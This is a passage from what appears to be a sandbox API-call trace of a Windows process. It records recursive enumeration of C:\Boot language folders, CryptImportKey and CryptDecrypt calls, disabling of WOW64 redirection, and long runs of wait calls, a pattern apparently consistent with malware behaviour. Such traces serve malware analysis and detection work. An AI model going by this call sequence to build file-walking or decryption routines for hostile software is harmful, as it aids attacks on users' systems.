lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.342] FindNextFileW (in: hFindFile=0x10dbe10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0044.342] FindClose (in: hFindFile=0x10dbe10 | out: hFindFile=0x10dbe10) returned 1 [0044.342] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.342] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="en-GB", cAlternateFileName="")) returned 1 [0044.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc150 [0044.343] FindNextFileW (in: hFindFile=0x10dc150, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.343] FindNextFileW (in: hFindFile=0x10dc150, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.343] FindNextFileW (in: hFindFile=0x10dc150, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0044.344] FindClose (in: hFindFile=0x10dc150 | out: hFindFile=0x10dc150) returned 1 [0044.345] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.345] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="en-US", cAlternateFileName="")) returned 1 [0044.345] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbd90 [0044.345] FindNextFileW (in: hFindFile=0x10dbd90, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.345] FindNextFileW (in: hFindFile=0x10dbd90, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.345] FindNextFileW (in: hFindFile=0x10dbd90, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.345] FindNextFileW (in: hFindFile=0x10dbd90, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0044.345] FindClose (in: hFindFile=0x10dbd90 | out: hFindFile=0x10dbd90) returned 1 [0044.345] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.345] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="es-ES", cAlternateFileName="")) returned 1 [0044.345] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbe90 [0044.346] FindNextFileW (in: hFindFile=0x10dbe90, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 Thread: id = 38 os_tid = 0xdd8 [0042.819] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3340070 [0042.819] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3350078 [0042.819] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x28) returned 0x2b15510 [0042.819] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x110102) returned 0x38f8020 [0042.822] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x50) returned 0x2b1b530 [0042.822] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f748 | out: phKey=0x352f748*=0x10c9450) returned 1 [0042.822] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0x352f730, dwFlags=0x0) returned 1 [0042.822] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b530, pdwDataLen=0x352f6fc | out: pbData=0x2b1b530, pdwDataLen=0x352f6fc) returned 1 [0042.822] CryptDestroyKey (hKey=0x10c9450) returned 1 [0042.822] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0042.822] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0042.822] Wow64DisableWow64FsRedirection (in: OldValue=0x352f794 | out: OldValue=0x352f794*=0x0) returned 1 [0042.822] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b530 | out: hHeap=0x2b10000) returned 1 [0042.822] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.822] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.822] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.822] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.822] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.822] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.823] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.824] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.825] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.826] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.827] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.828] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.829] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.830] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.831] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.833] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.833] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.833] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.833] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.833] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.833] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.833] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.833] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.836] 